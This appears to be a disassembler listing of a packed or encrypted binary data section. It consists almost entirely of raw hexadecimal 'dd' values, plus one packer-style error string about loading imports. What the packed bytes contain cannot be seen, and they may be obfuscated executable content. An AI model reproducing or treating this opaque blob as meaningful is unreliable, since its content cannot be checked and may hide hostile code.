dd 5EE21188h, 5935E90h, 0E0491571h, 6906F8CEh, 493B886Ch
dd 0E0FD728Ch, 12879F11h, 63935DDFh, 606C75E9h, 0F8D4C15Eh
dd 3CEAE0EAh, 22D2D41Fh, 129F9345h, 606C821Fh, 2348CC20h
dd 2FC7365Ah, 0A1B20AB0h, 44CAF08Bh, 7830C333h, 367C22AAh
dd 3C1F3D27h, 0F816BD84h, 19DD0970h, 6E58456Bh, 2EC6D34Ch
dd 0BD34A5BCh, 24A87A32h, 3C77407Eh, 0E9B2341Fh, 0EEDEFB77h
dd 0AB0EE9Ah, 0FE1F3C78h, 77C00AD8h, 32B41F3Ch, 50C93BC2h
dd 3E36AA49h, 4DE65A99h, 0F213A948h, 159F4502h, 111F3C77h
dd 5B23618Fh, 774B712Fh, 993F1F3Ch, 371C085Dh, 0C52CADC5h
dd 2539B343h, 519DFBCh, 5B50309Ch, 77F3B23Bh, 9E29A84Ch
dd 86785416h, 8709E8EDh, 0B715CB6Fh, 0AD1F3CD6h, 0D6F9C3E1h
dd 0EBED1F3Ch, 4A53550Bh, 0A3DB9A96h, 19DFC194h, 5A60820Eh
dd 4E1F3CB0h, 0D94BA648h, 20AA3847h, 1E1F3CB0h, 3CB03A80h
dd 1AA82E1Fh, 4975A94h, 0E812371Dh, 0F5E27A77h, 0ED81FBFBh
dd 3E426904h, 0CB5E7532h, 2CB909E7h, 6C767363h, 7825CBh
dd 0F380736Ch, 0DDDFEFBDh, 0F19D5940h, 3CCFFDB3h, 6A01FB1Fh
dd 0D7D9876Fh, 7F1C12C6h, 3C1E774h, 0C350F3CBh, 0BF6F6283h
dd 87379337h, 58B4D189h, 0BB49AD1Eh, 1F3C7E01h, 0AF15CBFFh
dd 0AB1F3C7Dh, 9D43F105h, 2B474B00h, 8939EDAEh, 5D0164BEh
dd 5CF994E5h, 0FACA764Ah, 34ADC13Fh, 0AA6235C0h, 0E9F95A22h
dd 1EF7CD28h, 0F56C32D6h, 0F315035Bh, 41DFE1EDh, 26CDCA64h
dd 40804CA2h, 9A94DA59h, 133BD97h, 3D29CC76h, 0F26643B3h
dd 0E4F16F7Ch, 8E658B0Dh, 70EEB601h, 0A3418D63h, 0BCDC2B8h
dd 23C72AACh, 0AFF58299h, 1C35BB05h, 0E211DF01h, 0C608965Eh
dd 0DD1C35CAh, 24BA12CAh, 1502DC89h, 7663B6Fh, 0C7A85EBDh
dd 43C52CA9h, 0F2C315ADh, 5B39EE16h, 76EA5E95h, 67B27D69h
dd 882BF2D5h, 5299Eh, 5D7AD800h, 3CA5B840h, 1B86995Fh
dd 7166FE82h, 1CBDB42Ch, 43C7B47Fh, 6AEEAF2Ah, 41B7E4F1h
dd 77E9B22Fh, 0BBDDEFBh, 3D971DC3h, 29312FAh, 0FCAD15C1h
dd 396C4B85h, 13A631C5h, 0F469933Bh, 3F6509EDh, 1502C470h
dd 0DFFC7284h, 6E5E9014h, 30C4D54Ch, 0BC9C23B1h, 0B15D1300h
dd 0BCFDC7DDh, 0F7F91300h, 9C2B2FFh, 928582C4h, 0F6BCE2A6h
dd 0F21300C4h, 0C76108ECh, 32000000h, 3641B52Bh, 0E7D9F51Ch
dd 0A2734F4Ah, 0CC9FF199h, 3C00D420h, 3E685290h, 3A5C1C36h
dd 0B32C40BAh, 8B316F1Bh, 7F1C363Eh, 1FC09D59h, 0CE14B888h
dd 1C363EECh, 4A57C8F2h, 0DA1ABFB4h, 0CB6F8224h, 0D42E81F3h
dd 866EB615h, 4F7F1814h, 0CE26B3ADh, 59476EF9h, 83989507h
dd 6959DB16h, 0E50B43A2h, 61BA5E9h, 20D4589Bh, 35613092h
dd 6F82241Ch, 237861FDh, 319D6D44h, 35616D73h, 21532B1Ch
dd 3D727474h, 6B6D23D3h, 60D6F888h, 198A1C35h, 445A2E2Bh
dd 1C35607Eh, 268C527Ah, 221C3560h, 0EF82727Ch, 0BEE4E8B8h
dd 1C356118h, 4B4CE4D6h, 6C03F5ABh, 6F4F7F71h, 0E7FD9DCEh
dd 0A78470CFh, 0F1BBh, 0EB150C00h, 0DCFD7570h, 995D9315h
dd 0EBE3BB0Eh, 373FAB5h, 48561E15h, 13011082h, 4E7E7076h
dd 588BEF6Eh, 3CEAD6C3h, 0C241B57Bh, 59D0D54Eh, 0C12FB140h
dd 0E1BB0BDCh, 0DA19B7EDh, 0DBFD1300h, 4D54C9F3h, 4BD222A6h
dd 7C1D15A7h, 6D03F375h, 0DA94551Ch, 757C1D14h, 836E6B03h
dd 775C4895h, 6BAA6369h, 9F515725h, 0C88173F2h, 801A9485h
dd 7DE2h, 982EB100h, 0EED40AC2h, 0F41C3641h, 0F8B78B8Ch
dd 0F4787B64h, 8D5728CCh, 0BE35BB69h, 0D7C4D14Ah, 0BF059BEFh
dd 0BB1C3585h, 0C10B9935h, 0B51C3585h, 6630C333h, 366C20ACh
dd 1C35858Ch, 85664C92h, 3C621C35h, 0E8946086h, 358644BAh
dd 0CE14B81Ch, 1C3585E4h, 0C130BEE0h, 35458D33h, 837D411Ch
dd 8004EFEAh, 10351F74h, 916075EEh, 627FF10Fh, 0DDB7FF92h
dd 463DB3F1h, 2FB11C35h, 2B47BD6Eh, 5DD143AEh, 3D885744h
dd 343B6965h, 0E8150364h, 1B9D2BC6h, 0DC13011Bh, 8BC29B89h
dd 0DC928523h, 3Eh, 72EB15ABh, 6188C67h, 0B5A95799h, 6A3DC82Ch
dd 4C6E1AB2h, 0A02EC6D3h, 15037175h, 0FE8E658Bh, 130111B8h
dd 876A77E8h, 787B1E15h, 0CEA99B08h, 577064C1h, 928529F6h
dd 0BE71h, 0AD152200h, 0B386A543h, 0AE2B44C5h, 33A0BE40h
dd 46B83CC0h, 0D246AD2Ah, 41B33E5Bh, 0CB3DB42Dh, 73514A57h
dd 1C35E82Dh, 398011Dh, 1608E17Dh, 8E66A89h, 0A3BB45E9h
dd 0BD39BB36h, 7C79F2Ah, 0F3D907C3h, 0E71C35E7h, 0C09F35C1h
dd 0B4150313h, 3BC56932h, 0B33EB623h, 1AA428E0h, 0BA5E9603h
dd 0CC801324h, 4F7F210Bh, 3935B4ADh, 8B4D4EA0h, 1EDF0792h
dd 0BFE9A254h, 2184A34h, 95C70000h, 78F56B30h, 0ABC43C61h
dd 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh, 19A3F36h, 0ACF1E47Fh
dd 9D3A34h, 0A2FBE478h, 0FAC0DEAEh, 0EE12FA3Ah, 2E47DEDDh
dd 0F26EF2ABh, 41971DC3h, 0D931C36h, 2E19BAE3h, 0B30BC39Bh
dd 0AEFAE89Bh, 27D323F5h, 348AE79h, 86245C15h, 0AE94B14Bh
dd 51570DE9h, 677D517Dh, 1300605Dh, 278D5759h, 23130060h
dd 54FA797Dh, 0CA2AB7AAh, 609234h, 2DAAC213h, 0BFDC52C6h
dd 0EDD74434h, 3420850Ah, 85DABA13h, 0DAAD92h, 0E7D90000h
dd 36AA494Ch, 0D759983Dh, 4736DD19h, 9F43AE2Bh, 6093061Dh
dd 8B2F0DCh, 0FC1C3642h, 89A01ADAh, 0C33DE110h, 2DC333AEh
dd 1C36466Bh, 0D52C47DBh, 0FC13300Bh, 31158668h, 0A2D6918Fh
dd 0D593F987h, 7DFFF2FCh, 6E6B0779h, 0F5ADF883h, 0B4ACCBD9h
dd 4E501502h, 6F27724Dh, 5CBF415Fh, 0AD330BCCh, 14819F21h
dd 0ABC23CE0h, 15B96D2Eh, 341AE5CFh, 53CFE11Ch, 0C729AB46h
dd 35A4BD2Fh, 0A1B8E2B1h, 8E78FBE9h, 0FAh, 6D2E8BA9h, 326B76EBh
dd 7724B1AEh, 2B706901h, 801DBCB5h, 2D44C6B3h, 0F269EFACh
dd 2C42B6E7h, 0F66AEEAFh, 0D0FCB4E9h, 0FA39A812h, 0CCEF9C12h
dd 0D19AAD15h, 2DD7C8EDh, 0BBDE57C9h, 0F794ECE2h, 2111E7Eh
dd 0FAF99E96h, 27C7876h, 872C716Eh, 1EAE2B47h, 0E212879Ch
dd 3E75E95Bh, 0C9B02179h, 0DFBC323Ch, 0F1DDB500h, 6F0C239Dh
dd 355E8B31h, 97597F1Ch, 5E23A937h, 91171C35h, 0DB4ACF65h
dd 2AD4150Ch, 0C94BA633h, 0ED81772Dh, 85F7FAF4h, 0E2DCF0E9h
dd 62804C49h, 12FB2258h, 0CDAA4A4Ch, 3A68170Bh, 12FB2290h
dd 0DDFA7284h, 925C9216h, 0E735D15Fh, 73F240BDh, 5D7AF681h
dd 0F9748640h, 831650B2h, 7B750AECh, 526D017Bh, 4179268Ch
dd 727C22BFh, 84150D7Fh, 19BEB648h, 1F9E56DAh, 5F0E431h
dd 832B7069h, 0FAF9E079h, 100C7E76h, 3826C87h, 0C3000000h
dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh
dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 505D2AC9h
dd 405E089h, 55000000h, 4BDh, 5DE82900h, 5C240487h, 6D9368h
dd 241C8900h, 7EEC68h, 240C8900h, 0FCBEBA52h, 8950093Bh
dd 58C389D0h, 4EC815Ah, 89000000h, 4832424h, 68590424h
dd 490Ch, 81241C89h, 68DD2404h, 418F6FAAh, 8698108h, 6FAA68DDh
dd 56240C8Bh, 0C681E689h, 4, 4C681h, 34870000h, 1C8B5C24h
dd 0E0895024h, 405h, 40500h, 4870000h, 91E95C24h, 4AFFF974h
dd 70A8B3Dh, 56A0866Ah, 0B81E9869h, 93C09BDh, 0E0FFC503h
dd 36759120h, 406F0F96h, 65B6EBD0h, 4476C168h, 274AABDAh
dd 36D91196h, 951B18Ah, 596BE473h, 58469220h, 489072EBh
dd 1FA23B21h, 0B4F8D8Dh, 6660093Ch, 8B1B47BAh, 8D8961F1h
dd 9351629h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0A8C35242h, 0C3904882h, 0F5BD3381h, 8B09350Dh
dd 3500E5BDh, 7D85C709h, 0D4093528h, 6A000068h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 6B0C355h, 25B86618h, 5585C766h, 93522h, 0E9000000h
dd 10h, 2B75C4BDh, 0CF3CFCA9h, 0FF159F7Eh, 0C0EDB50Fh
dd 2C79B5FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 3C38EDC3h, 0FDA9BF6Bh, 95FF6B16h
dd 9350D05h, 22919533h, 6A0935h, 82995FFh, 0C08B0935h
dd 8F0A29EBh, 0D4EF3E47h, 16346005h, 0EFEFE6Eh, 0CB756473h
dd 45A1B72Bh, 404A42B3h, 16E5B4D4h, 79D2987Dh, 8967C5BBh
dd 0E95DB46Ch, 127h, 73765B50h, 154EEFACh, 0
aAnErrorHasOcur db 'An Error has ocurred while loading imports',0
db 37h
dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h
dd 777E600h, 5 dup(0)
dd 0FD000000h, 77E7A5h, 2Bh dup(0)
dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 838F96A6h
dd 113B2040h, 35B11C13h, 4D07251Fh, 722B6166h, 0A9F29E35h
dd 88321177h, 6EF390EFh, 0BFBF1C53h, 1805A15Eh, 0D069C699h
dd 744BA8E5h, 56321C53h, 0A9614571h, 88321177h, 6EF390EFh
dd 0BFBF1C53h, 1805A441h, 0D069C699h, 0F9B1D5EDh, 2B0E1EB7h
dd 1B61A66h, 5321566h, 7FC12DE3h, 0AFE2EA6Fh, 2AC17DE3h
dd 4EE2EA6Fh, 712588E3h, 705A436Fh, 0EEAEBDDEh, 0BD2468D3h
dd 34B7986Fh, 0DD3B2D1Dh, 0E0B79CB6h, 53B2047h, 783EB4E3h
dd 0A7BF456Fh, 180E1EE4h, 0D5A7EA36h, 833B206Dh, 173FE8E3h
dd 1132156Fh, 15B7D366h, 13B2071h, 505B7C0Eh, 0D887EAE8h
dd 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2413F0E3h, 15B7D36Fh
dd 73B2071h, 45594B0Eh, 0D887EAFAh, 53B2068h, 710A8DE3h
dd 0ABE2EA6Fh, 2D39ACE3h, 15B7D36Fh, 103B2071h, 405A3C0Eh
dd 0D887EA88h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D39A8E3h
dd 15B7D36Fh, 13B2071h, 420AD70Eh, 0D887EABCh, 53B2068h
dd 710A8DE3h, 0ABE2EA6Fh, 2D39D4E3h, 918F966Fh, 443B207Ah
dd 22779069h, 94F41566h, 810702FBh, 3AB47D23h, 97CDEF46h
dd 18071BAFh, 0B0AA90EBh, 94CD1C53h, 29F790EFh, 94F41C5Ah
dd 810702FBh, 94F17D2Ah, 97CDF540h, 18071BAFh, 0B0AA90EBh
dd 94CD1C53h, 29FB90EFh, 51DB1C5Ah, 4E321566h, 712588E3h
dd 2F5A476Fh, 0EE8E5F82h, 0BD192CD3h, 0DCB7986Fh, 0DD3B205Eh
dd 0D4B79CB6h, 4E3B296Dh, 712588E3h, 6A5A476Fh, 0EE94592Ch
dd 0BD192CD3h, 0DCB7986Fh, 0DD3B205Eh, 0D8B79CB6h, 4E3B296Dh
dd 712588E3h, 0C85A476Fh, 0EECF57D2h, 0BD3CDCD3h, 0DCB7986Fh
dd 0DD3B205Eh, 0B0B79CB6h, 4E3B207Bh, 712588E3h, 815A626Fh
dd 0EEC182CEh, 0BD3768D3h, 0DCB7986Fh, 0DD3B205Eh, 0F4B79CB6h
dd 4E3B2064h, 712588E3h, 355A476Fh, 0EEB8C857h, 0BD3CDCD3h
dd 0DCB7986Fh, 0DD3B205Eh, 0C8B79CB6h, 4E3B206Ch, 712588E3h
dd 1B5A436Fh, 0EEE60A0Bh, 0BD2468D3h, 34B7986Fh, 0DD3B2D1Dh
dd 0C8B79CB6h, 4E3B204Dh, 712588E3h, 585A526Fh, 0EEB3C976h
dd 0BD3CDCD3h, 0DCB7986Fh, 0DD3B205Eh, 2CB79CB6h, 4E3B207Dh
dd 712588E3h, 0C05A526Fh, 0EEB81AD3h, 0BD3CDCD3h, 0DCB7986Fh
dd 0DD3B205Eh, 0F8B79CB6h, 0B3B296Dh, 713234DBh, 0A63D156Fh
dd 11321337h, 9FAF90A0h, 2C7E1C53h, 0FBE8098Fh, 1FFBA099h
dd 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1EB3h, 9FAF90A0h
dd 2C7E1C53h, 0FF46CBA8h, 1FFBA099h, 0DBF1C53h, 4D072DFEh
dd 0A7BBC599h, 180E1EBFh, 9FAF90A0h, 2C7E1C53h, 95B39759h
dd 1FFBA099h, 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1EBBh
dd 9FAF90A0h, 2C7E1C53h, 911D557Eh, 1FFBA099h, 0DBF1C53h
dd 4D072DFEh, 0A7BBC599h, 180E1EBBh, 9FAF90A0h, 2C741C53h
dd 98EC1372h, 1FFBA099h, 0DBF1C53h, 4D072DFEh, 0A7BBC599h
dd 180E1E83h, 9FAF90A0h, 2C751C53h, 0A3EE051Ch, 1FFBA099h
dd 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1E8Bh, 9FAF90A0h
dd 2C751C53h, 0CDB59BCAh, 1FFBA099h, 0DBF1C53h, 4D072DFEh
dd 0A7BBC599h, 180E1E97h, 9FAF90A0h, 2C751C53h, 0F6A8B2B4h
dd 1FFBA099h, 0DBF1C53h, 4D072DFEh, 0A7BBC599h, 180E1E93h
dd 9FAF90A0h, 2C751C53h, 98F32C62h, 1FFBA099h, 0DBF1C53h
dd 4D072DFEh, 0A7BBC599h, 180E1E9Fh, 0A3FBA8E5h, 31321C53h
dd 0BFB7D346h, 563B2071h, 0FA1F720Eh, 8D87EA86h, 0AF3B2068h
dd 240A8DE3h, 1E2EA6Fh, 7839E8E3h, 0BFB7D36Fh, 563B2071h
dd 0A181A40Eh, 8D87EAE8h, 0AF3B2068h, 240A8DE3h, 1E2EA6Fh
dd 783E14E3h, 0BFB7D36Fh, 523B2071h, 0FE78B20Eh, 8D87EAA6h
dd 0AF3B2068h, 240A8DE3h, 1E2EA6Fh, 783E10E3h, 0BFB7D36Fh
dd 5D3B2071h, 0EE5EFE0Eh, 3987EA9Dh, 0AF3B2063h, 240A8DE3h
dd 1E2EA6Fh, 783E8CE3h, 0BFB7D36Fh, 553B2071h, 0FBBC400Eh
dd 8D87EADDh, 0AF3B2068h, 240A8DE3h, 1E2EA6Fh, 783E1CE3h
dd 0BFB7D36Fh, 523B2071h, 65CE90Eh, 8D87EADAh, 0AF3B2068h
dd 240A8DE3h, 1E2EA6Fh, 783E18E3h, 0BFB7D36Fh, 423B2071h
dd 980CBF0Eh, 8D87EAA0h, 0AF3B2068h, 240A8DE3h, 1E2EA6Fh
dd 783E04E3h, 838F966Fh, 113B204Eh, 88D29169h, 0C1F41566h
dd 2B0702FBh, 0DF037D20h, 3DCDEFF0h, 4D071BAFh, 1AAA90EBh
dd 0C1CD1C53h, 845F90EFh, 0C1F41C5Ah, 2B0702FBh, 2BE47D20h
dd 3DCDE9C1h, 4D071BAFh, 1AAA90EBh, 0C1CD1C53h, 844F90EFh
dd 0C1F41C5Ah, 2B0702FBh, 0B5327D20h, 3DCD879Ah, 4D071BAFh
dd 1AAA90EBh, 0C1CD1C53h, 84B390EFh, 0C1F41C5Ah, 2B0702FBh
dd 5E587D20h, 3DCDE3B2h, 4D071BAFh, 1AAA90EBh, 0C1CD1C53h
dd 84B790EFh, 0C1F41C5Ah, 2B0702FBh, 41D57D20h, 3DCD81ABh
dd 4D071BAFh, 1AAA90EBh, 0C1CD1C53h, 844390EFh, 0C1F41C5Ah
dd 2B0702FBh, 65097D20h, 3DCDA444h, 4D071BAFh, 1AAA90EBh
dd 0C1CD1C53h, 844790EFh, 0C1F41C5Ah, 2B0702FBh, 0FBDF7D20h
dd 3DCDCA1Fh, 4D071BAFh, 1AAA90EBh, 0C1CD1C53h, 844B90EFh
dd 0F9B11C5Ah, 2B073EAFh, 0D7126066h, 0BD2588E3h, 1A5A466Fh
dd 0DDFCAB86h, 243CDCD3h, 10B7986Fh, 0BB3B205Eh, 37B79CB6h
dd 0D73B296Ah, 0BD2588E3h, 0C35A526Fh, 0DDF5A438h, 243CDCD3h
dd 10B7986Fh, 0BB3B205Eh, 3BB79CB6h, 923B296Ah, 0BD19DCDBh
dd 6447156Fh, 35AF90A0h, 79751C53h, 6E506B63h, 4AFBA099h
dd 0A7BF1C53h, 18072DFEh, 0DBBC599h, 4D0E197Bh, 35AF90A0h
dd 79711C53h, 1A481C90h, 4AFBA099h, 0A7BF1C53h, 18072DFEh
dd 0DBBC599h, 4D0E1947h, 35AF90A0h, 79711C53h, 74138246h
dd 4AFBA099h, 0A7BF1C53h, 18072DFEh, 0DBBC599h, 4D0E1943h
dd 9FBA8E5h, 64321C53h, 15B7D326h, 73B2071h, 229A160Eh
dd 0D887EAEDh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E38E3h
dd 15B7D36Fh, 73B2071h, 7904C00Eh, 0D887EA83h, 53B2068h
dd 710A8DE3h, 0ABE2EA6Fh, 2D3E3CE3h, 15B7D36Fh, 73B2071h
dd 8800F40Eh, 0D887EA8Ch, 53B2068h, 710A8DE3h, 0ABE2EA6Fh
dd 2D3E24E3h, 15B7D36Fh, 73B2071h, 0D39E220Eh, 0D887EAE2h
dd 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E20E3h, 15B7D36Fh
dd 0B3B2071h, 17A2C10Eh, 0D887EAF1h, 53B2068h, 710A8DE3h
dd 0ABE2EA6Fh, 2D3E2CE3h, 15B7D36Fh, 0B3B2071h, 4C3C170Eh
dd 0D887EA9Fh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E28E3h
dd 15B7D36Fh, 93B2071h, 154B5C0Eh, 0D887EAAEh, 53B2068h
dd 710A8DE3h, 0ABE2EA6Fh, 2D3E50E3h, 15B7D36Fh, 93B2071h
dd 0D57F9C0Eh, 0D887EABAh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh
dd 2D3E54E3h, 15B7D36Fh, 113B2071h, 391F220Eh, 0D887EAFAh
dd 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E5CE3h, 15B7D36Fh
dd 73B2071h, 0F7C23F0Eh, 0D887EAB4h, 53B2068h, 710A8DE3h
dd 0ABE2EA6Fh, 2D3E58E3h, 15B7D36Fh, 163B2071h, 6086FF0Eh
dd 0D887EA9Bh, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 242FB4E3h
dd 15B7D36Fh, 33B2071h, 0BA6B8C0Eh, 0D887EA84h, 53B2068h
dd 710A8DE3h, 0ABE2EA6Fh, 2D3E44E3h, 15B7D36Fh, 33B2071h
dd 0DF52D70Eh, 0D887EAD7h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh
dd 2D3E40E3h, 15B7D36Fh, 33B2071h, 84CC010Eh, 0D887EAB9h
dd 53B2068h, 710A8DE3h
dd 0ABE2EA6Fh, 2D3E4CE3h, 15B7D36Fh, 1B3B2071h, 72C07D0Eh
dd 0D887EAF8h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E48E3h
dd 15B7D36Fh, 0B3B2071h, 0DE492A0Eh, 0D887EAA1h, 53B2068h
dd 710A8DE3h, 0ABE2EA6Fh, 2D3E9CE3h, 15B7D36Fh, 33B2071h
dd 795C590Eh, 0D887EA9Ch, 53B2068h, 710A8DE3h, 0ABE2EA6Fh
dd 2D3E98E3h, 15B7D36Fh, 33B2071h, 2416D80Eh, 0D887EAA5h
dd 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E84E3h, 15B7D36Fh
dd 1B3B2071h, 9952D90Eh, 0D887EAB2h, 53B2068h, 710A8DE3h
dd 0ABE2EA6Fh, 2D3E74E3h, 15B7D36Fh, 1B3B2071h, 0CB665B0Eh
dd 0D887EAF8h, 53B2068h, 710A8DE3h, 0ABE2EA6Fh, 2D3E70E3h
dd 15B7D36Fh, 1B3B2071h, 311A5D0Eh, 0D887EAB7h, 53B2068h
dd 710A8DE3h, 0ABE2EA6Fh, 2D3E7CE3h, 0E0367F6Fh, 44320566h
dd 2222150Eh, 0EE327F66h, 0BD13E4F3h, 0A1B79C6Fh, 0AF3B2044h
dd 2AF831E3h, 0E2E2EA6Fh, 54327D62h, 225A1566h, 7B321546h
dd 79A7EA66h, 0CD3B2047h, 172CD0E3h, 80B79C6Fh, 0E23B206Ah
dd 54327D26h, 225A1566h, 7B321466h, 79A7EA66h, 0CD3B2047h
dd 173DC8E3h, 0C8879E6Fh, 33B207Dh, 711EA0FBh, 1F879C6Fh
dd 983B207Ah, 0BD1F3CFBh, 0F1AF9E6Fh, 0A93B204Ah, 11CB966Dh
dd 82ED9169h, 15621566h, 0ABF22606h, 242068E3h, 880EAB6Fh
dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
dd 9FBB0D18h, 18073FABh, 0D3DEAE3h, 4432156Ch, 22231B8Eh
dd 11A3FC66h, 3631566h, 40E07EB1h, 0F3380EFh, 15581C53h
dd 8822150Eh, 44584766h, 3C38099h, 94BB1C53h, 810707B7h
dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 0A18F9EB1h, 0A13B2044h
dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 0BD2068E3h
dd 39A79E6Fh, 1B3B2074h, 2418D8F3h, 82B61A6Fh, 1E321566h
dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 2B071337h
dd 11321566h, 88DB90A1h, 44321C53h, 9FB11566h, 180E1EB7h
dd 80B61A66h, 0C9321566h, 195E3AFBh, 0EEE1EA6Fh, 0BD2478E3h
dd 298F966Fh, 463B2070h, 11509769h, 0DF51566h, 4D07030Bh
dd 22321567h, 0B8879806h, 53B296Ah, 781B01DBh, 0A9CC3E6Fh
dd 0F48F9EB1h, 0B3B2044h, 8401EAAFh, 0E30013ECh, 96369E20h
dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 0A24B905Fh
dd 0C03D1C53h, 22321571h, 3257A8E5h, 87321C53h, 44321FE3h
dd 0DFB7D266h, 103B206Bh, 0E9321566h, 77D3F7DFh, 44CBAF1Ah
dd 989F78C9h, 0BD2E28D3h, 0B874D26Fh, 22321566h, 0FFDCFB5Bh
dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
dd 44321560h, 26F49666h, 0D0FA0EFh, 71DB1C53h, 0CF32156Eh
dd 0DFB726BEh, 0D03B206Bh, 4A1916AEh, 7722D5A7h, 0DFAF9CA7h
dd 2C3B206Bh, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 0BD2E28D3h
dd 0F1AF9E6Fh, 0A93B204Ah, 71E29E6Dh, 0D19D7EDh, 4D07314Fh
dd 2130F5A7h, 2434B4E3h, 8B9F836Fh, 60769CA7h, 5EDB747Ah
dd 40321566h, 3FB2634h, 7120C4F3h, 2D302E6Fh, 11322DE2h
dd 8CF09666h, 89BF2E27h, 2D3B204Ch, 0EECDFDE3h, 6879899h
dd 0C93B296Dh, 172D88DBh, 0D1B6B96Fh, 88349169h, 0AD981566h
dd 0DDCDEA97h, 113215DEh, 8ABF9866h, 0BB3B202Ah, 5FBF9C87h
dd 4B3B2074h, 15B9433Fh, 4D0739D3h, 0A7B91EEDh, 1807071Bh
dd 0D31F5B7h, 4D0705E3h, 44A4E355h, 13D2D4CBh, 8E939065h
dd 0E9A41C53h, 0A16CD465h, 243074DBh, 0C3D146Fh, 4432155Fh
dd 2CFB985Dh, 953D1C53h, 8832154Bh, 414F985Dh, 0A63D1C53h
dd 11321547h, 0AE13985Dh, 0C03D1C53h, 22321573h, 31DE88EBh
dd 5BCD1C5Ah, 0C1BBEDEDh, 2B073D53h, 1134A18Fh, 64AF9866h
dd 0BB3B2946h, 438F96B5h, 113B2064h, 882F9169h, 0C1091566h
dd 2B073243h, 113E9169h, 0D091566h, 4D0716E7h, 22379069h
dd 0A8DB1566h, 0B3CDEA99h, 7113F0E3h, 3AB71A6Fh, 92321566h
dd 0BD2E0CDBh, 0C13D156Fh, 2232156Dh, 0DECC90EBh, 1DDB1C5Dh
dd 7FCDEA99h, 1713F0E3h, 98B61A6Fh, 0BCDEA99h, 78399FDBh
dd 0A73D146Fh, 11321571h, 83DB905Dh, 0C13D1C5Ah, 2232156Dh
dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 38F9699h, 113B2066h
dd 8B559169h, 0C1091566h, 2B0E1EB3h, 94B91213h, 8107364Fh
dd 99B72E21h, 573B296Dh, 0F4B79E61h, 0CF3B207Bh, 4FEB905Dh
dd 25471C5Ah, 1E390EDh, 0B3751C53h, 7839F4E3h, 0A935606Fh
dd 243140E3h, 0D09526Fh, 4D0E1E83h, 0A7B91213h, 18070557h
dd 61B72E21h, 313B296Dh, 0BB79E61h, 563B204Ah, 83DF905Dh
dd 43471C5Ah, 94790EDh, 2A751C53h, 0B439E4E3h, 0CF35606Fh
dd 171DACE3h, 9409526Fh, 810E1E93h, 0C1B91213h, 2B07310Fh
dd 0E8B72E21h, 0FD3B296Dh, 9DB79E61h, 653B2076h, 1D33905Dh
dd 8F471C5Ah, 63F790EDh, 19751C53h, 2D39E8E3h, 0B22606Fh
dd 7119DCDBh, 2547156Fh, 219F90EDh, 0B751C53h, 712D74DBh
dd 2D46156Fh, 1DBB905Dh, 8F471C5Ah, 6B0B90EDh, 0A1751C53h
dd 241AB4DBh, 0FA46156Fh, 44FFA8E5h, 56321C53h, 7CB72E0Fh
dd 0FD3B296Ah, 35B79E61h, 653B204Ch, 1D4F905Dh, 8F471C5Ah
dd 4B3390EDh, 19751C53h, 2D3E64E3h, 335606Fh, 713F90E3h
dd 0A709526Fh, 180E19E7h, 0DB91213h, 4D072753h, 0A7B72E21h
dd 643B296Ah, 0D5B79E61h, 33B207Ah, 2E47905Dh, 16471C5Ah
dd 891B90EDh, 7F751C53h, 1E3E6CE3h, 9A35606Fh, 0BD1FE4E3h
dd 0F9B1526Fh, 2B0715ABh, 1BB61A66h, 0B3321564h, 783E10E3h
dd 0A935606Fh, 242F2CE3h, 0D09526Fh, 4D0E19FFh, 0A7B91213h
dd 1807162Bh, 81B72E21h, 313B296Ah, 33B79E61h, 563B2077h
dd 843F905Dh, 43471C5Ah, 224390EDh, 2A751C53h, 0B43E04E3h
dd 0CF35606Fh, 17011CE3h, 9409526Fh, 810E1973h, 0F9B10513h
dd 2B073EAFh, 9A356066h, 0BD290CE3h, 0C109526Fh, 2B0E197Fh
dd 94B91213h, 81073773h, 59B72E21h, 573B296Ah, 0D88F9676h
dd 883B204Dh, 0C1B91213h, 2B073BBBh, 30B72E21h, 0FD3B296Ah
dd 0D5B79E61h, 653B2070h, 1D17905Dh, 8F471C5Ah, 6EA390EDh
dd 19751C53h, 2D3E38E3h, 0B22606Fh, 7119DCDBh, 2547156Fh
dd 4790EDh, 0B3751C53h, 783E3CE3h, 0A122606Fh, 2419DCDBh
dd 8F47156Fh, 763F90EDh, 19751C53h, 2D3E24E3h, 335606Fh
dd 71109CE3h, 0A709526Fh, 180E1953h, 0DB91213h, 4D0702CFh
dd 1BB72E21h, 643B296Ah, 0CDB79E61h, 33B2055h, 2E0F905Dh
